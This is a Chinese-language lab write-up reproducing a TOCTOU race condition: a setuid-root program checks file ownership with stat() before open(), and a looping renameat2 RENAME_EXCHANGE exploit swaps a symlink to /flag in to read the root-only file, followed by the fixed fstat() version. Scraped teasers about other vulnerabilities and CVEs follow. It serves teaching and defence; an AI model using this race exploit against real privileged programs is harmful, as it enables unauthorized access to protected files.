关键词:
今天有点无聊在 YouTube 上瞎看
看到了 liveoverflow 的一个视频,提到 TOCTOU ,所以打算复现一下
via: https://www.youtube.com/watch?v=5g137gsB9Wk
demo 代码:
via: https://gist.github.com/LiveOverflow/590edaf5cf3adeea31c73e303692dec0
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
int main(int argc, char* argv[])
int fd;
int size = 0;
char buf[256];
if(argc != 2)
printf("usage: %s <file>
", argv[0]);
exit(1);
struct stat stat_data;
if (stat(argv[1], &stat_data) < 0)
fprintf(stderr, "Failed to stat %s: %s
", argv[1], strerror(errno));
exit(1);
if(stat_data.st_uid == 0)
fprintf(stderr, "File %s is owned by root
", argv[1]);
exit(1);
fd = open(argv[1], O_RDONLY);
if(fd <= 0)
fprintf(stderr, "Couldn‘t open %s
", argv[1]);
exit(1);
do
size = read(fd, buf, 256);
write(1, buf, size);
while(size>0);
题目:
flag 位于 根目录:/flag
所有者:root
权限:0600 (只有所有者能读写)
# r00t @ FakeArch in / [0:41:05]
$ ls -l /flag
-rw------- 1 root root 17 6月 25 23:19 /flag
给出的一个由上面源代码编译出来的 可执行文件,可执行文件的设置了 s 权限
# r00t @ FakeArch in ~ [0:42:44]
$ ls -l /tmp/readflag
-rwsr-sr-x 1 root root 17096 6月 26 00:41 /tmp/readflag
现在要用这个 可执行文件 去读取 flag
代码看起来是没有什么问题的,理论上我们不能读取 /flag 文件 的内容,因为
if(stat_data.st_uid == 0)
fprintf(stderr, "File %s is owned by root
", argv[1]);
exit(1);
这个检查,检查了文件的 st_uid ,flag 文件的所有者是 root
,所以 readflag
即使带了 s
权限,还是读取不了 flag
的内容
可以看 man 2 stat
中 对 stat
结构的描述,这个检查的意思是检查文件所有者的 uid
是不是 0
(也就是是不是 root
,这个毋庸置疑,flag
文件的所有者肯定是 root
)
struct stat
dev_t st_dev; /* ID of device containing file */
ino_t st_ino; /* Inode number */
mode_t st_mode; /* File type and mode */
nlink_t st_nlink; /* Number of hard links */
uid_t st_uid; /* User ID of owner */
gid_t st_gid; /* Group ID of owner */
dev_t st_rdev; /* Device ID (if special file) */
off_t st_size; /* Total size, in bytes */
blksize_t st_blksize; /* Block size for filesystem I/O */
blkcnt_t st_blocks; /* Number of 512B blocks allocated */
/* Since Linux 2.6, the kernel supports nanosecond
precision for the following timestamp fields.
For the details before Linux 2.6, see NOTES. */
struct timespec st_atim; /* Time of last access */
struct timespec st_mtim; /* Time of last modification */
struct timespec st_ctim; /* Time of last status change */
#define st_atime st_atim.tv_sec /* Backward compatibility */
#define st_mtime st_mtim.tv_sec
#define st_ctime st_ctim.tv_sec
;
怎么才能绕过这个检查
可以试试给 flag
文件创建一个链接
# r00t @ FakeArch in ~ [23:29:56]
$ ls -l /flag
-rw------- 1 root root 17 6月 25 23:19 /flag
# r00t @ FakeArch in ~ [23:30:06]
$ ln -s /flag /tmp/flag
# r00t @ FakeArch in ~ [23:30:15]
$ ls -l /tmp/flag
lrwxrwxrwx 1 r00t r00t 5 6月 25 23:30 /tmp/flag -> /flag
看到这个链接的所有者是 r00t
(我系统上的一个普通用户),试试看通过 软链接 去读取文件
# r00t @ FakeArch in /tmp [0:06:22] C:1
$ ./readflag /tmp/flag
Failed to stat /tmp/flag: Permission denied
不行。。。。
再次审计代码
struct stat stat_data;
if (stat(argv[1], &stat_data) < 0)
fprintf(stderr, "Failed to stat %s: %s
", argv[1], strerror(errno));
exit(1);
if(stat_data.st_uid == 0)
fprintf(stderr, "File %s is owned by root
", argv[1]);
exit(1);
fd = open(argv[1], O_RDONLY);
这个写法存在一个 条件竞争(Race condition) 的漏洞
这里用的是 stat
函数,通过文件名去获取文件的 stat
结构,然后再判断文件的所有者,如果所有者不是 root
的话就打开它,这里从获取文件 stat
到读取并不是一步就能完成的,这两个操作有一定的时间差。
假设现在传入的是 /tmp/A
文件(st_uid=1000
),它的所有者是 hacker(uid=1000)
,在执行完 stat(argv[1], &stat_data)
之后的那一个瞬间,我用另一个程序把 /tmp/flag
( /flag
的软链接 st_uid=1000
) 重命名为 /tmp/A
这样的话,在 if
的检测中检查的是原本的那个 A 文件的 st_uid
,而走到 open
的时候 argv[1] 虽然也是 /tmp/A
但是打开的却是原本的 /tmp/flag
文件,而这个文件是 /flag
的软链接,这样我们就能读出 /flag
的内容
这个需要很快去操作,把上面的 /tmp/flag
(因为我们是普通用户不能直接操作 flag
文件,所以我们需要一个指向它的链接) 换成 /tmp/A
这里的 exp
是 https://github.com/sroettger/35c3ctf_chals/blob/master/logrotate/exploit/rename.c
syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
renameat2
系统调用
很重要的参数:RENAME_EXCHANGE
是交换文件名,原子性操作
man 手册里的描述
RENAME_EXCHANGE
Atomically exchange oldpath and newpath. Both pathnames must
exist but may be of different types (e.g., one could be a non-
empty directory and the other a symbolic link).
现在在 /tmp 目录下有三个文件
A:空文件
flag:根目录下面的 flag 文件的软连接
readflag:上面源码编译出来的 可执行文件(所有者:root,有 s 权限)
# r00t @ FakeArch in /tmp [13:34:57]
$ ls -li A flag readflag
43007 -rw-r--r-- 1 r00t r00t 0 6月 26 13:33 A
54370 lrwxrwxrwx 1 r00t r00t 5 6月 26 13:33 flag -> /flag
45584 -rwsr-sr-x 1 root root 17096 6月 26 13:32 readflag
exp:
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>
// source https://github.com/sroettger/35c3ctf_chals/blob/master/logrotate/exploit/rename.c
int main(int argc, char *argv[])
while (1)
syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
return 0;
编译 exp
gcc exp.c -o exp
开始:
# r00t @ FakeArch in ~ [13:38:30]
$ ./exp /tmp/flag /tmp/A
可以看到,/tmp/A 和 /tmp/flag 的 inode 一直在变
# r00t @ FakeArch in /tmp [13:44:07] C:2
$ ls -li A flag readflag
ls: 无法读取符号链接‘A‘: 无效的参数
54370 lrwxrwxrwx 1 r00t r00t 5 6月 26 13:33 A
43007 -rw-r--r-- 1 r00t r00t 0 6月 26 13:33 flag
45584 -rwsr-sr-x 1 root root 17096 6月 26 13:32 readflag
# r00t @ FakeArch in /tmp [13:44:08] C:2
$ ls -li A flag readflag
54370 lrwxrwxrwx 1 r00t r00t 5 6月 26 13:33 A -> /flag
43007 -rw-r--r-- 1 r00t r00t 0 6月 26 13:33 flag
45584 -rwsr-sr-x 1 root root 17096 6月 26 13:32 readflag
# r00t @ FakeArch in /tmp [13:44:08]
$ ls -li A flag readflag
ls: 无法读取符号链接‘A‘: 无效的参数
54370 lrwxrwxrwx 1 r00t r00t 5 6月 26 13:33 A
43007 -rw-r--r-- 1 r00t r00t 0 6月 26 13:33 flag
45584 -rwsr-sr-x 1 root root 17096 6月 26 13:32 readflag
# r00t @ FakeArch in /tmp [13:44:09] C:2
$ ls -li A flag readflag
ls: 无法读取符号链接‘A‘: 无效的参数
54370 lrwxrwxrwx 1 r00t r00t 5 6月 26 13:33 A
43007 -rw-r--r-- 1 r00t r00t 0 6月 26 13:33 flag
45584 -rwsr-sr-x 1 root root 17096 6月 26 13:32 readflag
# r00t @ FakeArch in /tmp [13:44:09] C:2
$ ls -li A flag readflag
ls: 无法读取符号链接‘A‘: 无效的参数
ls: 无法读取符号链接‘flag‘: 无效的参数
54370 lrwxrwxrwx 1 r00t r00t 5 6月 26 13:33 A
54370 lrwxrwxrwx 1 r00t r00t 5 6月 26 13:33 flag
45584 -rwsr-sr-x 1 root root 17096 6月 26 13:32 readflag
# r00t @ FakeArch in /tmp [13:44:10] C:2
$ ls -li A flag readflag
43007 -rw-r--r-- 1 r00t r00t 0 6月 26 13:33 A
43007 -rw-r--r-- 1 r00t r00t 0 6月 26 13:33 flag
45584 -rwsr-sr-x 1 root root 17096 6月 26 13:32 readflag
# r00t @ FakeArch in /tmp [13:44:10]
$ ls -li A flag readflag
ls: 无法读取符号链接‘A‘: 无效的参数
54370 lrwxrwxrwx 1 r00t r00t 5 6月 26 13:33 A
43007 -rw-r--r-- 1 r00t r00t 0 6月 26 13:33 flag
45584 -rwsr-sr-x 1 root root 17096 6月 26 13:32 readflag
# r00t @ FakeArch in /tmp [13:44:11] C:2
$ ls -li A flag readflag
ls: 无法读取符号链接‘flag‘: 无效的参数
43007 -rw-r--r-- 1 r00t r00t 0 6月 26 13:33 A
54370 lrwxrwxrwx 1 r00t r00t 5 6月 26 13:33 flag
45584 -rwsr-sr-x 1 root root 17096 6月 26 13:32 readflag
现在试试看读取 flag
# r00t @ FakeArch in /tmp [13:45:34]
$ ./readflag /tmp/flag
File /tmp/flag is owned by root
# r00t @ FakeArch in /tmp [13:45:35] C:1
$ ./readflag /tmp/flag
File /tmp/flag is owned by root
# r00t @ FakeArch in /tmp [13:45:36] C:1
$ ./readflag /tmp/flag
# r00t @ FakeArch in /tmp [13:45:36]
$ ./readflag /tmp/flag
File /tmp/flag is owned by root
# r00t @ FakeArch in /tmp [13:45:37] C:1
$ ./readflag /tmp/flag
File /tmp/flag is owned by root
# r00t @ FakeArch in /tmp [13:45:37] C:1
$ ./readflag /tmp/flag
flagy0u_get_1t
我在第六次的时候成功读取 flag 的内容
fix:
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
int main(int argc, char* argv[])
int fd;
int size = 0;
char buf[256];
if(argc != 2)
printf("usage: %s <file>
", argv[0]);
exit(1);
fd = open(argv[1], O_RDONLY);
if(fd <= 0)
fprintf(stderr, "Couldn‘t open %s
", argv[1]);
exit(1);
struct stat stat_data;
if (fstat(fd, &stat_data) < 0)
fprintf(stderr, "Failed to stat %s: %s
", argv[1], strerror(errno));
exit(1);
if(stat_data.st_uid == 0)
fprintf(stderr, "File %s is owned by root
", argv[1]);
exit(1);
do
size = read(fd, buf, 256);
write(1, buf, size);
while(size>0);
修复后的代码其实就是先打开文件,然后通过文件描述符去获取文件的 信息
这样就不存在文件名变更的问题了
举个例子吧
# r00t @ FakeArch in /tmp/demo [14:14:03]
$ ls -i
173774 test
# r00t @ FakeArch in /tmp/demo [14:14:05]
$ mv test test1
# r00t @ FakeArch in /tmp/demo [14:14:21]
$ ls -i
173774 test1
看到了吗,修改文件名其实影响不了文件的 inode
,在内核里面判断一个文件并不是依靠文件名
可以看看 open
和 read
在 内核里面的实现
所以,先是用 open
打开文件,再通过文件文件描述符去获取文件 stat
结构,修改文件名是无效的,更直观一点的演示
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
int main()
int f = open("/tmp/demo/test", O_RDONLY);
system("ls -l /proc/self/fd");
getchar();
system("ls -l /proc/self/fd");
return 0;
在 demo
运行到 getchar()
的时候我修改了 test
文件的文件名,修改后再查看 /proc/self/fd
的时候原本文件描述符 3
是指向 test
文件的,修改文件名后变成了指向修改后的文件名
直接看 liveoverflow 的视频演示:https://www.youtube.com/watch?v=1hScemFvnzw
溜~
moctf没时间解释了条件竞争漏洞(代码片段)
moctf没时间解释了条件竞争漏洞题目链接条件竞争:在本题目中,上传文件的时候服务器无条件的接收任何类型的文件,但是你上传之后服务器会给你的文件内容修改为tooslow。比如你上传了一句话木马shell.php,内容<?php@eval($_POST[&... 查看详情
cve-2019-0232漏洞复现(代码片段)
记录一个cve-2019-0232的漏洞环境搭建的任务1、相关信息2019年4月11日,Apache官方发布通告称将在最新版本中修复一个远程代码执行漏洞(CVE-2019-0232),由于JRE将命令行参数传递给Windows的方式存在错误,会导致CGIServlet受到远程执行... 查看详情
cve-2017-12615漏洞复现(代码片段)
0x01漏洞简介首先声明的是CVE-2017-12615漏洞的利用条件是Windows+Tomcat7.0.x+配置文件readonly=false,配置文件内容如:<init-param><param-name>readonly</param-name><param-value>false</param-value></init- 查看详情
竞争条件攻击(代码片段)
竞争条件攻击属于文件上传漏洞的一种。一些网站上传文件的逻辑是先允许上传文件,再检测文件中是否包含webshell的脚本,如果存在则删除webshell文件。 但是攻击者可以利用上传文件和删除文件的时间差来完成文件上传漏... 查看详情
中间件漏洞汇总(代码片段)
目录一些地址什么是中间件iis6x篇PUT漏洞漏洞描述漏洞复现防御方式解析漏洞-基于文件名原理复现防御解析漏洞-基于文件夹原理复现防御IIS短文件漏洞介绍原理复现防御RCE-CVE-2017-7269介绍影响范围复现防御iis7x篇文件解析漏洞原... 查看详情
nginx文件名逻辑漏洞(cve-2013-4547)漏洞复现(代码片段)
前言影响版本:Nginx0.8.41到1.4.3/1.5.0到1.5.7。利用条件:php-fpm.conf中的security.limit_extensions为空。建议在学习该漏洞前先学习nginx的原理:https://zhuanlan.zhihu.com/p/136801555。security.limit_extensions设置了就只能解析指定 查看详情
漏洞复现weblogic任意文件上传漏洞(代码片段)
【漏洞复现】Weblogic任意文件上传漏洞文章目录【漏洞复现】Weblogic任意文件上传漏洞0x01漏洞背景0x02漏洞环境0x03漏洞复现0x01漏洞背景Oracle7月更新中,修复了WeblogicWebServiceTestPage中一处任意文件上传漏洞,WebServiceTestPage在... 查看详情
漏洞复现weblogic任意文件上传漏洞(代码片段)
【漏洞复现】Weblogic任意文件上传漏洞文章目录【漏洞复现】Weblogic任意文件上传漏洞0x01漏洞背景0x02漏洞环境0x03漏洞复现0x01漏洞背景Oracle7月更新中,修复了WeblogicWebServiceTestPage中一处任意文件上传漏洞,WebServiceTestPage在... 查看详情
任意代码执行漏洞复现(代码片段)
漏洞简介在PostgreSQL数据库的jdbc驱动程序中发现一个安全漏洞。当攻击者控制jdbcurl或者属性时,使用PostgreSQL数据库的系统将受到攻击。pgjdbc根据通过authenticationPluginClassName、sslhostnameverifier、socketFactory、sslfactory、sslpasswordcallb... 查看详情
winrar代码执行漏洞复现(代码片段)
漏洞介绍WinRAR是一款流行的解压缩工具,据其官网上发布的数据,全球有超过5亿的用户在使用2019年2月20日,安全厂商checkpoint发布了名为《Extractinga19YearoldcodeExecutionfromWinRAR》的文章,文章披露了一个存在于winRAR中用于ace文件解析的DLL... 查看详情
webbasedquizsystemsql注入漏洞复现(cve-2022-32991)(代码片段)
文章目录漏洞介绍漏洞编号漏洞查询漏洞靶场漏洞复现摘抄免责声明漏洞介绍SourcecodesterWebBasedQuizSystem是(Sourcecodester)开源的一个应用软件。用于一个简单的在线基础的项目。WebBasedQuizSystemv1.0版本存在安全漏洞,该漏洞源于通... 查看详情
漏洞复现-vulhub复现weblogic的ssrf漏洞(代码片段)
模拟Weblogic的SSRF漏洞实验:1.打开搭建好vulhub的虚拟机,输入su切换到root用户如果不切换,则会报下面的错2、进入到vulhub下weblogic/ssrf/中用gedit打开靶场说明书README.mdlsgeditREADME.md3、使用docker-composeup-d命令打开靶场... 查看详情
apachelog4j漏洞复现(代码片段)
文章目录1.ApacheLog4jServer反序列化命令执行漏洞(CVE-2017-5645)利用条件利用2.CVE-2019-17571利用条件利用3.apachelog4jrce利用条件环境搭建利用补充:命令执行部分总结补充:如何将其变成正常的JNDI注入(及可加载攻击者... 查看详情
漏洞复现海洋cms6.28远程代码执行(代码片段)
【漏洞复现】海洋CMS6.28远程代码执行文章目录【漏洞复现】海洋CMS6.28远程代码执行一、漏洞背景二、漏洞原理三、漏洞复现一、漏洞背景海洋影视管理系统(seacms,海洋cms)是一套专为不同需求的站长而设计的视频... 查看详情
nginx解析漏洞漏洞复现(代码片段)
前言该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。环境搭建漏洞环境使用vulhub搭建,漏洞目录为vulhub/nginx/nginx_parsing_vulnerability在漏洞目录中执行以下命令即可构建漏洞环境。docker-composeup-d原理分析首... 查看详情
条件竞争漏洞
条件竞争漏洞竞争条件”发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中一、使用FDFD开启抓包,点击购买选中数据包==shift+r==出现多条数据包队列,前几条会是并发点击GO,发送成... 查看详情
redis未授权访问漏洞复现(代码片段)
Redis未授权访问漏洞复现1.1Redis环境配置1.2靶机CS的环境部署及攻击机Kali的战斗部署2.1漏洞复现过程中可能出现的一些问题2.2漏洞利用的小姿势1.1Redis环境配置漏洞靶机(Centos7.9):192.168.55.136攻击机(kali)ÿ... 查看详情
web中间件漏洞复现合集---iis篇(代码片段)
目录前言一、Win2003_IIS6.0环境搭建二、PUT漏洞1.漏洞介绍2.漏洞复现3.报错问题解决4.漏洞修复方案三、短文件名猜解1.漏洞介绍2.复现过程3.漏洞修复三、Win2008R2_IIS环境搭建四、远程代码执行(一)Cve-2017-7269(0day漏洞... 查看详情